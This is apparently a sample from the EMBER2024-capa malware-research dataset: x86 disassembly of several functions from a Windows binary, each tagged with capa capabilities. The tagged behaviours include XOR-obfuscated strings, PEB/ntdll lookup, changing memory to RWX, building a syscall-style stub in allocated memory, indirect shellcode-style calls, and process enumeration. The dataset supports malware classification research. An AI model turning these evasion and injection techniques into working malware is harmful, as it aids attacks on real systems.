joyce8/EMBER2024-capa huggingface dataset:
Function at 0x678adc90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6793c7c6
mov eax, dword fs:[0]
push eax
sub esp, 0x38
push esi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
movaps xmm0, xmmword [0x67ac5b20]
lea ecx, [esi + 4]
mov dword [esi], 0
xor edx, edx
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0xd1d5c9
mov byte [ebp - 0x14], 1
nop dword [eax]
lea eax, [edx - 0x6a]
xor byte [ebp + edx - 0x28], al
inc edx
cmp edx, 0x13
jb 0x678adce0
lea eax, [ebp - 0x28]
mov byte [ebp - 0x14], 0
push eax
call fcn.678ae150
mov dword [ebp - 4], 0
lea ecx, [esi + 8]
movaps xmm0, xmmword [0x67ac5cd0]
xor edx, edx
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], 0xbbb3afd2
mov word [ebp - 0x30], 0x100
nop
lea eax, [edx - 0x51]
xor byte [ebp + edx - 0x44], al
inc edx
cmp edx, 0x14
jb 0x678add20
lea eax, [ebp - 0x44]
mov byte [ebp - 0x2f], 0
push eax
call fcn.678ae150
mov byte [ebp - 4], 1
lea ecx, [esi + 0xc]
movaps xmm0, xmmword [0x67ac5ee0]
xor edx, edx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0xcec7eccc
mov dword [ebp - 0x18], 0xdfd7cb
mov byte [ebp - 0x14], 1
lea eax, [edx - 0x70]
xor byte [ebp + edx - 0x2c], al
inc edx
cmp edx, 0x17
jb 0x678add60
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x14], 0
push eax
call fcn.678ae150
mov byte [ebp - 4], 2
lea ecx, [esi + 0x10]
movaps xmm0, xmmword [0x67ac5700]
xor edx, edx
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], 0x93969fb4
mov dword [ebp - 0x30], 0x100878f
nop dword [eax]
lea eax, [edx - 0x17]
xor byte [ebp + edx - 0x44], al
inc edx
cmp edx, 0x16
jb 0x678adda0
lea eax, [ebp - 0x44]
mov byte [ebp - 0x2d], 0
push eax
call fcn.678ae150
mov dword [esi + 0x14], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x678ade70
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6793c816
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov dword [ebp - 0x18], edi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x14], 0
push 0x38
push 0
push esi
mov dword [ebp - 4], 1
call sub.VCRUNTIME140.dll_memset
mov dword [esi + 8], 0
add esp, 0xc
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0xf
mov byte [esi + 0x20], 0
mov byte [ebp - 4], 1
xor edx, edx
mov dword [ebp - 0x14], 1
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
mov dword [esi], edi
mov dword [ebp - 0x10], eax
jb 0x678adf28
mov edi, dword [ebp + 8]
mov ecx, edi
mov dword [ebp - 0x10], edi
jmp 0x678adf2d
mov ecx, eax
lea edi, [ebp + 8]
add edi, dword [ebp + 0x18]
cmp dword [ebp - 0x10], edi
je 0x678adf45
cmp byte [ecx], 0x20
lea eax, [edx + 1]
cmovne eax, edx
inc ecx
mov edx, eax
cmp ecx, edi
jne 0x678adf35
lea edi, [edx + 1]
lea ecx, [esi + 8]
mov dword [esi + 4], edi
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
mov dword [ebp - 0x10], edx
sub edx, eax
cmp edi, edx
jae 0x678adf63
add eax, edi
mov dword [ecx + 4], eax
jmp 0x678adf8f
jbe 0x678adf8f
mov eax, dword [ecx + 8]
sub eax, dword [ecx]
cmp edi, eax
jbe 0x678adf77
push ecx
push edi
call fcn.6787b9a0
jmp 0x678adf8f
sub edi, edx
push edi
push 0
push dword [ebp - 0x10]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0x10]
add esp, 0xc
add eax, edi
mov dword [esi + 0xc], eax
mov eax, dword [esi + 0x18]
mov ecx, eax
mov edx, dword [esi + 0x14]
sub ecx, edx
mov edi, dword [esi + 4]
mov dword [ebp - 0x10], eax
cmp edi, ecx
jae 0x678adfa8
lea eax, [edi + edx]
jmp 0x678adfd4
jbe 0x678adfd7
mov eax, dword [esi + 0x1c]
sub eax, edx
cmp edi, eax
jbe 0x678adfbf
push ecx
push edi
lea ecx, [esi + 0x14]
call fcn.6787b9a0
jmp 0x678adfd7
sub edi, ecx
push edi
push 0
push dword [ebp - 0x10]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0x10]
add esp, 0xc
add eax, edi
mov dword [esi + 0x18], eax
mov edx, dword [esi + 0x14]
lea ecx, [ebp + 8]
call fcn.678ad9b0
mov eax, dword [0x67b6c1a8]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x678ae001
push 0
push dword [esi + 4]
push dword [esi + 8]
push dword [ebp - 0x18]
push dword [eax + 0x14]
call ecx
add esp, 0x14
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x678ae037
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x678ae02d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x678ae02d
call dword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.67934867
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x678ae050
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x67ad7034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ecx + 0x14]
push ebx
mov ebx, dword [ecx]
push esi
mov esi, dword [0x67b6c1a8]
push edi
mov edi, dword [ecx + 4]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push ebx
push dword [esi + 0x14]
mov dword [ebp - 0xc], 0
call dword [sym.imp.kernel32.dll_VirtualProtectEx]
mov eax, dword [esi + 8]
test eax, eax
je 0x678ae0a2
push 0
push edi
push dword [ebp - 8]
push ebx
push dword [esi + 0x14]
call eax
add esp, 0x14
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push dword [ebp - 0xc]
push edi
push ebx
push dword [esi + 0x14]
call dword [sym.imp.kernel32.dll_VirtualProtectEx]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.679343f5
mov esp, ebp
pop ebp
ret

Function at 0x678ae0d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x67ad7034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ecx + 8]
push ebx
mov ebx, dword [ecx]
push esi
mov esi, dword [0x67b6c1a8]
push edi
mov edi, dword [ecx + 4]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push ebx
push dword [esi + 0x14]
mov dword [ebp - 0xc], 0
call dword [sym.imp.kernel32.dll_VirtualProtectEx]
mov eax, dword [esi + 8]
test eax, eax
je 0x678ae122
push 0
push edi
push dword [ebp - 8]
push ebx
push dword [esi + 0x14]
call eax
add esp, 0x14
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push dword [ebp - 0xc]
push edi
push ebx
push dword [esi + 0x14]
call dword [sym.imp.kernel32.dll_VirtualProtectEx]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.679343f5
mov esp, ebp
pop ebp
ret
Function at 0x678ae150
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push dword [ebp + 8]
mov esi, ecx
push 0x67ab9f0c
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x678ae249
xor cl, cl
nop dword [eax + eax]
movsx edx, cl
cmp byte [edx + eax], 0xb8
je 0x678ae199
inc cl
cmp cl, 0xf
jl 0x678ae180
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
push ebx
mov ebx, dword [edx + eax + 1]
test ebx, ebx
je 0x678ae248
push 0x67abec34
push 0x67ab9f0c
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push 0x40
push 0x3000
push 0x10
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
shr ecx, 8
mov dword [ebp - 0x10], ecx
mov ecx, eax
shr eax, 0x18
mov dword [ebp - 0x18], eax
mov eax, ebx
shr eax, 8
mov dword [ebp + 8], eax
mov eax, ebx
shr eax, 0x10
mov dword [ebp - 4], eax
mov eax, ebx
shr ecx, 0x10
shr eax, 0x18
push 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], eax
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov dword [esi], eax
test eax, eax
je 0x678ae248
mov ecx, dword [ebp + 8]
mov dword [eax], 0xb8909090
mov byte [eax + 4], bl
mov byte [eax + 5], cl
mov ecx, dword [ebp - 4]
mov byte [eax + 6], cl
mov ecx, dword [ebp - 8]
mov byte [eax + 7], cl
mov ecx, dword [ebp - 0xc]
mov byte [eax + 8], 0xba
mov byte [eax + 9], cl
mov ecx, dword [ebp - 0x10]
mov byte [eax + 0xa], cl
mov ecx, dword [ebp - 0x14]
mov byte [eax + 0xb], cl
mov ecx, dword [ebp - 0x18]
mov byte [eax + 0xc], cl
mov word [eax + 0xd], 0xd2ff
mov byte [eax + 0xf], 0xc3
pop ebx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x678bc5f0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6793d0c3
mov eax, dword fs:[0]
push eax
sub esp, 0x48
push ebx
push esi
push edi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], 0
lea esi, [ebp + 0xc]
mov edi, dword [ebp + 0x1c]
add eax, 4
cmp dword [ebp + 0x20], 0x10
mov edx, 0x811c9dc5
mov dword [ebp - 0x18], eax
cmovae esi, dword [ebp + 0xc]
xor ecx, ecx
test edi, edi
je 0x678bc664
nop dword [eax]
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, edi
jb 0x678bc650
mov eax, dword [ebp - 0x18]
push edx
lea ecx, [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.678ddd90
mov esi, dword [eax + 4]
mov eax, dword [ebp - 0x14]
test esi, esi
jne 0x678bc681
mov esi, dword [eax + 8]
cmp esi, dword [eax + 8]
je 0x678bc741
mov eax, dword [esi + 0x20]
mov dword [ebx], eax
push 0x38
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
call fcn.67934403
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [ebx + 4], eax
lea ecx, [ebx + 0xc]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov byte [ebp - 4], 4
mov eax, dword [esi + 0x38]
mov dword [ebx + 0x18], eax
mov eax, dword [esi + 0x3c]
mov dword [ebx + 0x1c], eax
mov eax, dword [esi + 0x30]
sub eax, dword [esi + 0x2c]
push dword [ebx + 4]
sar eax, 2
push eax
call fcn.678dc010
mov eax, dword [esi + 0x24]
mov ecx, ebx
push eax
push dword [eax]
call fcn.678dde20
mov edx, dword [ebp + 0x20]
cmp edx, 0x10
jb 0x678bc72b
mov ecx, dword [ebp + 0xc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x678bc721
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x678bc721
call dword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.67934867
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
lea eax, [ebp + 0xc]
mov edx, 0x67abef0c
push eax
lea ecx, [ebp - 0x3c]
call fcn.677d91f0
add esp, 4
push 0x67abeecc
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x54]
call fcn.677d90c0
add esp, 4
push eax
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.6787bb00
push 0x67ad1f60
lea eax, [ebp - 0x20]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x678ddef0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6793f765
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, dword [ebp + 0xc]
mov esi, edx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], ebx
cmp dword [edx + 0x14], 0x10
jb 0x678ddf2e
mov esi, dword [edx]
xor ecx, ecx
mov edi, 0x811c9dc5
cmp dword [edx + 0x10], ecx
jbe 0x678ddf52
nop word [eax + eax]
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edi
imul edi, eax, 0x1000193
cmp ecx, dword [edx + 0x10]
jb 0x678ddf40
push edi
push edx
lea eax, [ebp - 0x18]
push eax
call fcn.678de740
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x678ddf80
mov dword [ebx], eax
mov eax, ebx
mov byte [ebx + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp dword [0x67b7314c], 0x71c71c7
jne 0x678ddf97
push 0x67ac4230
call dword [sym.imp.msvcp140.dll_void___cdecl_std::_Xlength_error_char_const__]
mov dword [ebp - 0x28], 0x67b73148
mov dword [ebp - 4], 0
push 0x24
mov dword [ebp - 0x24], 0
call fcn.67934403
add esp, 4
mov ebx, eax
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x1c]
lea ecx, [ebx + 8]
call fcn.677d84b0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], 1
mov al, byte [eax + 0x18]
mov byte [ebx + 0x20], al
mov ecx, dword [0x67b7314c]
mov esi, dword [0x67b73160]
lea eax, [ecx + 1]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x67ac5420]
mov eax, esi
shr eax, 0x1f
cvtpd2ps xmm2, xmm0
movd xmm0, esi
cvtdq2pd xmm0, xmm0
movaps xmm1, xmm2
addsd xmm0, qword [eax*8 + 0x67ac5420]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
movss xmm0, dword [0x67b73144]
comiss xmm1, xmm0
jbe 0x678de096
divss xmm2, xmm0
sub esp, 8
cvtps2pd xmm0, xmm2
movsd qword [ebp - 0x18], xmm0
fld qword [ebp - 0x18]
fstp qword [esp]
call sub.ucrtbase.dll_ceil
fstp qword [ebp - 0x18]
movsd xmm0, qword [ebp - 0x18]
add esp, 8
cvtpd2ps xmm0, xmm0
call fcn.679353b0
mov ecx, 8
cmp eax, ecx
cmova ecx, eax
cmp esi, ecx
jae 0x678de078
cmp esi, 0x200
jae 0x678de076
shl esi, 3
cmp esi, ecx
jae 0x678de078
mov esi, ecx
push esi
call fcn.678de570
push edi
lea eax, [ebx + 8]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.678de740
mov ecx, dword [0x67b7314c]
mov edx, dword [eax]
jmp 0x678de099
mov edx, dword [ebp - 0x18]
mov esi, dword [edx + 4]
inc ecx
mov dword [0x67b7314c], ecx
mov dword [ebx], edx
mov dword [ebx + 4], esi
mov dword [esi], ebx
mov dword [edx + 4], ebx
mov eax, dword [0x67b7315c]
mov ecx, dword [0x67b73150]
and eax, edi
mov edi, dword [ecx + eax*8]
cmp edi, dword [0x67b73148]
jne 0x678de0ca
mov dword [ecx + eax*8], ebx
jmp 0x678de0d9
cmp edi, edx
jne 0x678de0d3
mov dword [ecx + eax*8], ebx
jmp 0x678de0dd
cmp dword [ecx + eax*8 + 4], esi
jne 0x678de0dd
mov dword [ecx + eax*8 + 4], ebx
mov eax, dword [ebp - 0x20]
mov dword [eax], ebx
mov byte [eax + 4], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x678de310
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6793f7ed
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov edx, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], edx
cmp dword [edx + 0x14], 0x10
jb 0x678de354
mov eax, dword [edx]
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov esi, 0x811c9dc5
cmp dword [edx + 0x10], ecx
jbe 0x678de378
mov edi, dword [ebp - 0x14]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, dword [edx + 0x10]
jb 0x678de363
mov edi, dword [ebp - 0x10]
push esi
push edx
lea eax, [ebp - 0x1c]
mov ecx, edi
push eax
call fcn.678ddd90
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x678de397
mov dword [ebx], eax
mov byte [ebx + 4], 0
jmp 0x678de4a0
cmp dword [edi + 8], 0x3ffffff
jne 0x678de3ab
push 0x67ac4230
call dword [sym.imp.msvcp140.dll_void___cdecl_std::_Xlength_error_char_const__]
lea eax, [edi + 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], 0
push 0x40
mov dword [ebp - 0x24], 0
call fcn.67934403
mov edi, eax
add esp, 4
mov dword [ebp - 0x24], edi
push dword [ebp - 0x20]
lea eax, [edi + 8]
mov ecx, eax
mov dword [ebp - 0x14], eax
call fcn.677d84b0
lea ecx, [edi + 0x20]
mov byte [ebp - 4], 2
call fcn.678dea80
mov edx, dword [ebp - 0x10]
mov dword [ebp - 4], 3
mov eax, dword [edx + 8]
inc eax
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x67ac5420]
mov eax, dword [edx + 0x1c]
cvtpd2ps xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x67ac5420]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, dword [edx]
jbe 0x678de453
mov ecx, edx
call fcn.678dd7d0
mov ecx, dword [ebp - 0x10]
lea eax, [edi + 8]
push esi
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.678ddd90
mov edx, dword [ebp - 0x10]
mov ecx, dword [eax]
jmp 0x678de456
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + 4]
inc dword [edx + 8]
mov dword [edi + 4], eax
mov dword [edi], ecx
mov dword [eax], edi
mov dword [ecx + 4], edi
mov dword [ebp - 0x10], eax
mov eax, dword [edx + 0x18]
and eax, esi
mov dword [ebp - 0x14], ecx
mov ecx, dword [edx + 0xc]
mov esi, dword [ebp - 0x28]
mov edx, dword [ecx + eax*8]
cmp edx, dword [esi]
jne 0x678de483
mov dword [ecx + eax*8], edi
jmp 0x678de496
cmp edx, dword [ebp - 0x14]
jne 0x678de48d
mov dword [ecx + eax*8], edi
jmp 0x678de49a
mov edx, dword [ebp - 0x10]
cmp dword [ecx + eax*8 + 4], edx
jne 0x678de49a
mov dword [ecx + eax*8 + 4], edi
mov dword [ebx], edi
mov byte [ebx + 4], 1
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x678ded00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x67ad7034]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 0
push 0
push ecx
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov dword [ebp - 8], eax
test eax, eax
je 0x678ded6f
mov ecx, dword [0x67b71948]
cmp ecx, dword [0x67b7194c]
je 0x678ded52
mov dword [ecx], eax
mov eax, 1
add dword [0x67b71948], 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.679343f5
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
push eax
push ecx
call fcn.678ded80
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.679343f5
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.679343f5
mov esp, ebp
pop ebp
ret

Function at 0x678def00
Capabilities:
Encode data using xor
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x67ad7034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x140], 0xcce5fef1
xor eax, eax
mov dword [ebp - 0x13c], 0xb9f3edf1
mov dword [ebp - 0x138], 0xffe1fd
mov byte [ebp - 0x134], 1
nop dword [eax]
lea ecx, [eax - 0x70]
xor byte [ebp + eax - 0x140], cl
inc eax
cmp eax, 0xb
jb 0x678def40
xor esi, esi
mov byte [ebp - 0x134], 0
push esi
push 2
xor ebx, ebx
call dword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
jne 0x678def7e
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.679343f5
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push edi
call dword [sym.imp.kernel32.dll_Process32First]
test eax, eax
je 0x678defdf
nop word [eax + eax]
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.ucrtbase.dll__stricmp]
add esp, 8
test eax, eax
jne 0x678defcd
mov eax, dword [ebp - 0x11c]
cmp eax, esi
jbe 0x678defcd
mov ebx, dword [ebp - 0x128]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.kernel32.dll_Process32Next]
test eax, eax
jne 0x678defa0
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.679343f5
mov esp, ebp
pop ebp
ret
Function at 0x678e9fd9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
push esi
movzx eax, ax
mov edx, ecx
push edi
mov edi, eax
mov dword [ebp - 8], eax
shr edi, 8
mov ebx, ecx
cmp dword [ebp + 0x10], ecx
jbe 0x678ea038
mov eax, dword [ebp + 0xc]
movzx eax, word [eax + ebx*2]
mov esi, eax
movzx eax, al
shr esi, 8
add esi, edx
cmp edi, eax
jb 0x678ea038
jne 0x678ea030
cmp edx, esi
jge 0x678ea030
mov eax, dword [ebp + 8]
movzx eax, al
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
movzx eax, byte [edx + eax]
cmp ax, word [ebp - 4]
je 0x678ea05c
inc edx
cmp edx, esi
jl 0x678ea01e
inc ebx
mov edx, esi
cmp ebx, dword [ebp + 0x10]
jb 0x678e9ffa
mov bl, 1
cmp dword [ebp + 0x1c], ecx
jbe 0x678ea06f
mov esi, dword [ebp + 0x18]
mov edi, dword [ebp - 8]
movzx eax, byte [ecx + esi]
test al, al
jns 0x678ea060
inc ecx
and eax, 0x7f
shl eax, 8
movzx edx, byte [ecx + esi]
or edx, eax
jmp 0x678ea062
xor al, al
jmp 0x678ea071
mov edx, eax
sub edi, edx
js 0x678ea06f
xor bl, 1
inc ecx
cmp ecx, dword [ebp + 0x1c]
jb 0x678ea045
mov al, bl
pop edi
pop esi
pop ebx
leave
ret
Function at 0x678f68f0
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
sub esp, 0x18
mov eax, dword [0x67ad7034]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
mov esi, dword [esp + 0x20]
test esi, esi
je 0x678f69bb
lea eax, [esp + 4]
push eax
push esi
push 2
call fcn.6790fdf0
add esp, 0xc
test eax, eax
jne 0x678f69bb
lea eax, [esp + 8]
push eax
push esi
push 0x17
call fcn.6790fdf0
add esp, 0xc
test eax, eax
jne 0x678f69bb
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x678f6944
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.6790fdc0
add esp, 0xc
test eax, eax
je 0x678f6978
sub eax, esi
push eax
push 0x2e
push esi
call fcn.6790fdc0
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x678f697a
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
mov ebx, 0x1505
add edi, esi
cmp esi, edi
jae 0x678f69a6
mov al, byte [esi]
push eax
call fcn.67902c50
movsx ecx, al
inc esi
mov eax, ebx
add esp, 4
shl eax, 5
add eax, ebx
xor ecx, eax
mov ebx, ecx
cmp esi, edi
jb 0x678f6988
pop edi
movzx eax, bl
pop ebx
pop esi
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.679343f5
add esp, 0x18
ret
mov ecx, dword [esp + 0x18]
xor eax, eax
pop esi
xor ecx, esp
call fcn.679343f5
add esp, 0x18
ret